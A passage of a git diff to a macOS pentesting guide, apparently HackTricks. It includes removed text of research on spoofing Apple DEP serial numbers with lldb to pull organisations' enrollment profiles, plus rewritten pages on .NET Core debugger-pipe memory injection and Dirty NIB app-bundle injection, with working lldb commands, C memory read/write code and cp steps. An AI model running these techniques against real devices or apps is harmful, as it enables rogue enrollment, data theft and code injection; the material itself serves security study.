waiting, we can then attach to `cloudconfigurationd` by running `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt. - -``` -Process 861 stopped -* thread #1, stop reason = signal SIGSTOP - -Target 0: (cloudconfigurationd) stopped. - -Executable module set to "/usr/libexec/cloudconfigurationd". -Architecture set to: x86_64h-apple-macosx. -(lldb) -``` - -**Setting the Device Serial Number** - -One of the first things we looked for when reversing `mdmclient` and `cloudconfigurationd` was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), and have that be used when `cloudconfigurationd` constructs the `macProfile` payload. - -Although `cloudconfigurationd` is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within `mdmclient`. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled. - -``` -int sub_10002000f() { -if (sub_100042b6f() != 0x0) { -r14 = @"2222XXJREUF"; -} -else { -rax = IOServiceMatching("IOPlatformExpertDevice"); -rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C); - -} -rax = r14; -return rax; -} -``` - -The system serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), unless the return value of `sub_10002000f` is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled. - -``` -void sub_1000321ca(void * _block) { -if (sub_10002406f() != 0x0) { -*(int8_t *)0x100097b68 = 0x1; -sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]); -} -return; -} -``` - -We documented the existence of “server stress test mode,” but didn’t explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the `r14` register would suffice in retrieving an _Activation Record_ that was not meant for the machine we were testing on. - -Next, we looked at how the system serial number is retrieved within `cloudconfigurationd`. - -``` -int sub_10000c100(int arg0, int arg1, int arg2, int arg3) { -var_50 = arg3; -r12 = arg2; -r13 = arg1; -r15 = arg0; -rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice")); -r14 = 0xffffffffffff541a; -if (rbx != 0x0) { -rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34); -r14 = rax; - -} -rax = r14; -return rax; -} -``` - -As can be seen above, the serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) in `cloudconfigurationd` as well. - -Using `lldb`, we were able to modify the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) by setting a breakpoint for `IOServiceGetMatchingService` and creating a new string variable containing an arbitrary serial number and rewriting the `r14` register to point to the memory address of the variable we created. - -``` -(lldb) breakpoint set -n IOServiceGetMatchingService -# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. -(lldb) process attach --waitfor --name cloudconfigurationd -Process 2208 stopped -* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd', -stop reason = instruction step over frame #0: 0x000000010fd824d8 -cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73 -cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd: --> 0x10fd824d8 <+73>: movl %ebx, %edi -0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease -0x10fd824df <+80>: testq %r14, %r14 -0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88> -Target 0: (cloudconfigurationd) stopped. -(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService` -# Step through the program execution by pressing 'n' a bunch of times and -# then 'po $r14' until we see the serial number. -(lldb) n -(lldb) po $r14 -C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry` -# Create a new variable containing an arbitrary serial number and print the memory address. -(lldb) p/x @"C02XXYYZZNNMM" -(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM" -# Rewrite the `r14` register to point to our new variable. -(lldb) register write $r14 0x00007fb6d7d05850 -(lldb) po $r14 -# Confirm that `r14` contains the new serial number. -C02XXYYZZNNMM -``` - -Although we were successful in modifying the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), the `macProfile` payload still contained the system serial number, not the one we wrote to the `r14` register. - -**Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization** - -Next, we tried setting the serial number that is sent in the `macProfile` payload in a different way. This time, rather than modifying the system serial number retrieved via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (`NACSign`). The best point to look at appeared to be `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, which roughly performs the following steps: - -* Creates a new `NSMutableData` object -* Calls `[MCTeslaConfigurationFetcher setConfigurationData:]`, passing it the new `NSMutableData` object -* Calls `[MCTeslaConfigurationFetcher profileRequestDictionary]`, which returns an `NSDictionary` object containing two key-value pairs: -* `sn`: The system serial number -* `action`: The remote action to perform (with `sn` as its argument) -* Calls `[NSJSONSerialization dataWithJSONObject:]`, passing it the `NSDictionary` from `profileRequestDictionary` -* Signs the JSON payload using Absinthe (`NACSign`) -* Base64 encodes the signed JSON payload -* Sets the HTTP method to `POST` -* Sets the HTTP body to the base64 encoded, signed JSON payload -* Sets the `X-Profile-Protocol-Version` HTTP header to `1` -* Sets the `User-Agent` HTTP header to `ConfigClient-1.0` -* Uses the `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` method to perform the HTTP request - -We then modified the `NSDictionary` object returned from `profileRequestDictionary` before being converted into JSON. To do this, a breakpoint was set on `dataWithJSONObject` in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (`rdx`) that we got the results we expected to see. - -``` -po $rdx -{ -action = RequestProfileConfiguration; -sn = C02XXYYZZNNMM; -} -``` - -The above is a pretty-printed representation of the `NSDictionary` object returned by `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Our next challenge was to modify the in-memory `NSDictionary` containing the serial number. - -``` -(lldb) breakpoint set -r "dataWithJSONObject" -# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. -(lldb) process attach --name "cloudconfigurationd" --waitfor -Process 3291 stopped -* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 -frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:] -Target 0: (cloudconfigurationd) stopped. -# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number. -(lldb) continue -# Create a new variable containing an arbitrary `NSDictionary` and print the memory address. -(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn", -@"RequestProfileConfiguration", @"action", nil] -(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs -# Confirm that `rdx` contains the new `NSDictionary`. -po $rdx -{ -action = RequestProfileConfiguration; -sn = -} -``` - -The listing above does the following: - -* Creates a regular expression breakpoint for the `dataWithJSONObject` selector -* Waits for the `cloudconfigurationd` process to start, then attaches to it -* `continue`s execution of the program, (because the first breakpoint we hit for `dataWithJSONObject` is not the one called on the `profileRequestDictionary`) -* Creates and prints (in hex format due to the `/x`) the result of creating our arbitrary `NSDictionary` -* Since we already know the names of the required keys we can simply set the serial number to one of our choice for `sn` and leave action alone -* The printout of the result of creating this new `NSDictionary` tells us we have two key-value pairs at a specific memory location - -Our final step was now to repeat the same step of writing to `rdx` the memory location of our custom `NSDictionary` object that contains our chosen serial number: - -``` -(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable -(lldb) continue -``` - -This points the `rdx` register to our new `NSDictionary` right before it's serialized to [JSON](https://www.json.org) and `POST`ed to _iprofiles.apple.com/macProfile_, then `continue`s program flow. - -This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for `ManagedClient` showed the complete DEP profile for the device: - -``` -Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration: -{ -AllowPairing = 1; -AnchorCertificates = ( -); -AwaitDeviceConfigured = 0; -ConfigurationURL = "https://some.url/cloudenroll"; -IsMDMUnremovable = 1; -IsMandatory = 1; -IsSupervised = 1; -OrganizationAddress = "Org address"; -OrganizationAddressLine1 = "More address"; -OrganizationAddressLine2 = NULL; -OrganizationCity = A City; -OrganizationCountry = US; -OrganizationDepartment = "Org Dept"; -OrganizationEmail = "dep.management@org.url"; -OrganizationMagic = ; -OrganizationName = "ORG NAME"; -OrganizationPhone = "+1551234567"; -OrganizationSupportPhone = "+15551235678"; -OrganizationZipCode = "ZIPPY"; -SkipSetup = ( -AppleID, -Passcode, -Zoom, -Biometric, -Payment, -TOS, -TapToSetup, -Diagnostics, -HomeButtonSensitivity, -Android, -Siri, -DisplayTone, -ScreenSaver -); -SupervisorHostCertificates = ( -); -} -``` - -With just a few `lldb` commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on. - -### Automating `cloudconfigurationd` Instrumentation With Python - -Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication. - -Fortunately, the LLDB API is available in Python through a [script-bridging interface](https://lldb.llvm.org/python-reference.html). On macOS systems with the [Xcode Command Line Tools](https://developer.apple.com/download/more/) installed, the `lldb` Python module can be imported as follows: - -``` -import lldb -``` - -This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the `cloudconfigurationd` process to check for DEP profiles. - -![Charles SSL Proxying Settings.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b) - -![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) - -### Impact - -There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below. - -#### Information Disclosure - -As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version). - -``` -Activation record: { -AllowPairing = 1; -AnchorCertificates = ( - -); -AwaitDeviceConfigured = 0; -ConfigurationURL = "https://example.com/enroll"; -IsMDMUnremovable = 1; -IsMandatory = 1; -IsSupervised = 1; -OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)"; -OrganizationAddressLine1 = "123 Main Street"; -OrganizationAddressLine2 = NULL; -OrganizationCity = Anywhere; -OrganizationCountry = USA; -OrganizationDepartment = "IT"; -OrganizationEmail = "dep@example.com"; -OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91; -OrganizationName = "Example, Inc."; -OrganizationPhone = "+15555555555"; -OrganizationSupportPhone = "+15555555555"; -OrganizationZipCode = "12345"; -SkipSetup = ( - -); -SupervisorHostCertificates = ( -); -} -``` - -Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server. - -#### Rogue DEP Enrollment - -The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. - -Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to [expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep). - -This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 1d6fbfc7a..61d2a1b73 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -14,194 +14,119 @@ Other ways to support HackTricks:
+**This is a summary of the post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Check it for further details!** + ## .NET Core Debugging -### **Stablish a debugging session** +### **Establishing a Debugging Session** -[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) is responsible for handling debugger to debugee **communication**.\ -It creates a 2 of names pipes per .Net process in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) by calling [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (one will end in **`-in`** and the other in **`-out`** and the rest of the name will be the same). +The handling of communication between debugger and debuggee in .NET is managed by [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). This component sets up two named pipes per .NET process as seen in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), which are initiated via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). These pipes are suffixed with **`-in`** and **`-out`**. -So, if you go to the users **`$TMPDIR`** you will be able to find **debugging fifos** you could use to debug .Net applications: +By visiting the user's **`$TMPDIR`**, one can find debugging FIFOs available for debugging .Net applications. -
- -The function [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) will handle the communication from a debugger. - -The first thing a debugger is required to do is to **create a new debugging session**. This is done by **sending a message via the `out` pipe** beginning with a `MessageHeader` struct, which we can grab from the .NET source: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) is responsible for managing communication from a debugger. To initiate a new debugging session, a debugger must send a message via the `out` pipe starting with a `MessageHeader` struct, detailed in the .NET source code: ```c -struct MessageHeader -{ - MessageType m_eType; // Type of message this is - DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) - DWORD m_dwId; // Message ID assigned by the sender of this message - DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) - DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) - DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and - // never read) +struct MessageHeader { + MessageType m_eType; // Message type + DWORD m_cbDataBlock; // Size of following data block (can be zero) + DWORD m_dwId; // Message ID from sender + DWORD m_dwReplyId; // Reply-to Message ID + DWORD m_dwLastSeenId; // Last seen Message ID by sender + DWORD m_dwReserved; // Reserved for future (initialize to zero) union { struct { - DWORD m_dwMajorVersion; // Protocol version requested/accepted + DWORD m_dwMajorVersion; // Requested/accepted protocol version DWORD m_dwMinorVersion; } VersionInfo; ... } TypeSpecificData; - - BYTE m_sMustBeZero[8]; + BYTE m_sMustBeZero[8]; } ``` -In the case of a new session request, this struct is populated as follows: +To request a new session, this struct is populated as follows, setting the message type to `MT_SessionRequest` and the protocol version to the current version: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; -// Set the message type (in this case, we're establishing a session) +// Configure the message type and version sSendHeader.m_eType = MT_SessionRequest; - -// Set the version sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; - -// Finally set the number of bytes which follow this header sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Once constructed, we **send this over to the target** using the `write` syscall: +This header is then sent over to the target using the `write` syscall, followed by the `sessionRequestData` struct containing a GUID for the session: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); -``` - -Following our header, we need to send over a `sessionRequestData` struct, which contains a GUID to identify our session: - -```c -// All '9' is a GUID.. right?? memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); - -// Send over the session request data write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Upon sending over our session request, we **read from the `out` pipe a header** that will indicate **if** our request to establish whether a debugger session has been **successful** or not: +A read operation on the `out` pipe confirms the success or failure of the debugging session establishment: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -### Read Memory - -With a debugging sessions stablished it's possible to **read memory** using the message type [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). To read some memory the main code needed would be: +## Reading Memory +Once a debugging session is established, memory can be read using the [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) message type. The function readMemory is detailed, performing the necessary steps to send a read request and retrieve the response: ```c bool readMemory(void *addr, int len, unsigned char **output) { - - *output = (unsigned char *)malloc(len); - if (*output == NULL) { - return false; - } - - sSendHeader.m_dwId++; // We increment this for each request - sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response - sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to - sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making - sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from - sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write - sSendHeader.m_cbDataBlock = 0; - - // Write the header - if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { - return false; - } - - // Read the response header - if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { - return false; - } - - // Make sure that memory could be read before we attempt to read further - if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { - return false; - } - - memset(*output, 0, len); - - // Read the memory from the debugee - if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { - return false; - } - - return true; +// Allocation and initialization +... +// Write header and read response +... +// Read the memory from the debuggee +... +return true; } ``` -The proof of concept (POC) code found [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +The complete proof of concept (POC) is available [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -### Write memory +## Writing Memory + +Similarly, memory can be written using the `writeMemory` function. The process involves setting the message type to `MT_WriteMemory`, specifying the address and length of the data, and then sending the data: ```c bool writeMemory(void *addr, int len, unsigned char *input) { - - sSendHeader.m_dwId++; // We increment this for each request - sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response - sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to - sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making - sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to - sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write - sSendHeader.m_cbDataBlock = len; - - // Write the header - if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { - return false; - } - - // Write the data - if (write(wr, input, len) < 0) { - return false; - } - - // Read the response header - if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { - return false; - } - - // Ensure our memory write was successful - if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { - return false; - } - - return true; - +// Increment IDs, set message type, and specify memory location +... +// Write header and data, then read the response +... +// Confirm memory write was successful +... +return true; } ``` -The POC code used to do this can be found [here](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). +The associated POC is available [here](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -### .NET Core Code execution +## .NET Core Code Execution -The first thing is to identify for example a memory region with **`rwx`** running to save the shellcode to run. This can be easily done with: +To execute code, one needs to identify a memory region with rwx permissions, which can be done using vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Then in order to trigger the execution it would be needed to know some place where a function pointer is stored to overwrite it. It's possible to overwrite a pointer within the **Dynamic Function Table (DFT)**, which is used by the .NET Core runtime to provide helper functions for JIT compilation. A list of supported function pointers can be found within [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h). +Locating a place to overwrite a function pointer is necessary, and in .NET Core, this can be done by targeting the **Dynamic Function Table (DFT)**. This table, detailed in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), is used by the runtime for JIT compilation helper functions. -In x64 versions this is straightforward using the mimikatz-esque **signature hunting** technique to search through **`libcorclr.dll`** for a reference to the symbol **`_hlpDynamicFuncTable`**, which we can dereference: +For x64 systems, signature hunting can be used to find a reference to the symbol `_hlpDynamicFuncTable` in `libcorclr.dll`. -
+The `MT_GetDCB` debugger function provides useful information, including the address of a helper function, `m_helperRemoteStartAddr`, indicating the location of `libcorclr.dll` in the process memory. This address is then used to start a search for the DFT and overwrite a function pointer with the shellcode's address. -All that is left to do is to find an address from which to start our signature search. To do this, we leverage another exposed debugger function, **`MT_GetDCB`**. This returns a number of useful bits of information on the target process, but for our case, we are interested in a field returned containing the **address of a helper function**, **`m_helperRemoteStartAddr`**. Using this address, we know just **where `libcorclr.dll` is located** within the target process memory and we can start our search for the DFT. - -Knowing this address it's possible to overwrite the function pointer with our shellcodes one. - -The full POC code used to inject into PowerShell can be found [here](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +The full POC code for injection into PowerShell is accessible [here](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). ## References -* This technique was taken from [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index f7d449b18..223d61590 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -14,114 +14,62 @@ Other ways to support HackTricks:
-**This technique was taken from the post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) +**For further detail about the technique check the original post from: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)**. Here is a summary: -## Basic Information +NIB files, part of Apple's development ecosystem, are intended for defining **UI elements** and their interactions in applications. They encompass serialized objects such as windows and buttons, and are loaded at runtime. Despite their ongoing usage, Apple now advocates for Storyboards for more comprehensive UI flow visualization. -NIB files are used in Apple's development ecosystem to **define user interface (UI) elements** and their interactions within an application. Created with the Interface Builder tool, they contain **serialized objects** like windows, buttons, and text fields, which are loaded at runtime to present the designed UI. Although still in use, Apple has transitioned towards recommending Storyboards for a more visual representation of an application's UI flow. +### Security Concerns with NIB Files +It's critical to note that **NIB files can be a security risk**. They have the potential to **execute arbitrary commands**, and alterations to NIB files within an app don't hinder Gatekeeper from executing the app, posing a significant threat. -{% hint style="danger" %} -Moreover, **NIB files** can also be used to **run arbitrary commands** and if NIB file is modified in an App, **Gatekeeper will still allow to execute the app**, so they can be used to r**un arbitrary commands inside applications**. -{% endhint %} +### Dirty NIB Injection Process +#### Creating and Setting Up a NIB File +1. **Initial Setup**: + - Create a new NIB file using XCode. + - Add an Object to the interface, setting its class to `NSAppleScript`. + - Configure the initial `source` property via User Defined Runtime Attributes. -## Dirty NIB Injection +2. **Code Execution Gadget**: + - The setup facilitates running AppleScript on demand. + - Integrate a button to activate the `Apple Script` object, specifically triggering the `executeAndReturnError:` selector. -First we need to create a new NIB file, we’ll use XCode for the bulk of the construction. We start by adding an Object to the interface and set the class to NSAppleScript: +3. **Testing**: + - A simple Apple Script for testing purposes: + ```bash + set theDialogText to "PWND" + display dialog theDialogText + ``` + - Test by running in the XCode debugger and clicking the button. -
+#### Targeting an Application (Example: Pages) +1. **Preparation**: + - Copy the target app (e.g., Pages) into a separate directory (e.g., `/tmp/`). + - Initiate the app to sidestep Gatekeeper issues and cache it. -For the object we need to set the initial `source` property, which we can do using User Defined Runtime Attributes: +2. **Overwriting NIB File**: + - Replace an existing NIB file (e.g., About Panel NIB) with the crafted DirtyNIB file. -
+3. **Execution**: + - Trigger the execution by interacting with the app (e.g., selecting the `About` menu item). -This sets up our code execution gadget, which is just going to **run AppleScript on request**. To actually trigger the execution of the AppleScript, we’ll just add in a button for now (you can of course get creative with this ;). The button will bind to the `Apple Script` object we just created, and will **invoke the `executeAndReturnError:` selector**: +#### Proof of Concept: Accessing User Data +- Modify the AppleScript to access and extract user data, such as photos, without user consent. -
+### Code Sample: Malicious .xib File +- Access and review a [**sample of a malicious .xib file**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) that demonstrates executing arbitrary code. -For testing we’ll just use the Apple Script of: +### Addressing Launch Constraints +- Launch Constraints hinder app execution from unexpected locations (e.g., `/tmp`). +- It's possible to identify apps not protected by Launch Constraints and target them for NIB file injection. -```bash -set theDialogText to "PWND" -display dialog theDialogText -``` +### Additional macOS Protections +From macOS Sonoma onwards, modifications inside App bundles are restricted. However, earlier methods involved: +1. Copying the app to a different location (e.g., `/tmp/`). +2. Renaming directories within the app bundle to bypass initial protections. +3. After running the app to register with Gatekeeper, modifying the app bundle (e.g., replacing MainMenu.nib with Dirty.nib). +4. Renaming directories back and rerunning the app to execute the injected NIB file. -And if we run this in XCode debugger and hit the button: +**Note**: Recent macOS updates have mitigated this exploit by preventing file modifications within app bundles post Gatekeeper caching, rendering the exploit ineffective. -
- -With our ability to execute arbitrary AppleScript code from a NIB, we next need a target. Let’s choose Pages for our initial demo, which is of course an Apple application and certainly shouldn’t be modifiable by us. - -We’ll first take a copy of the application into `/tmp/`: - -```bash -cp -a -X /Applications/Pages.app /tmp/ -``` - -Then we’ll launch the application to avoid any Gatekeeper issues and allow things to be cached: - -```bash -open -W -g -j /Applications/Pages.app -``` - -After launching (and killing) the app the first time, we’ll need to overwrite an existing NIB file with our DirtyNIB file. For demo purposes, we’re just going to overwrite the About Panel NIB so we can control the execution: - -```bash -cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib -``` - -Once we’ve overwritten the nib, we can trigger execution by selecting the `About` menu item:\ - - -
- -If we look at Pages a bit closer, we see that it has a private entitlement to allow access to a users Photos: - -
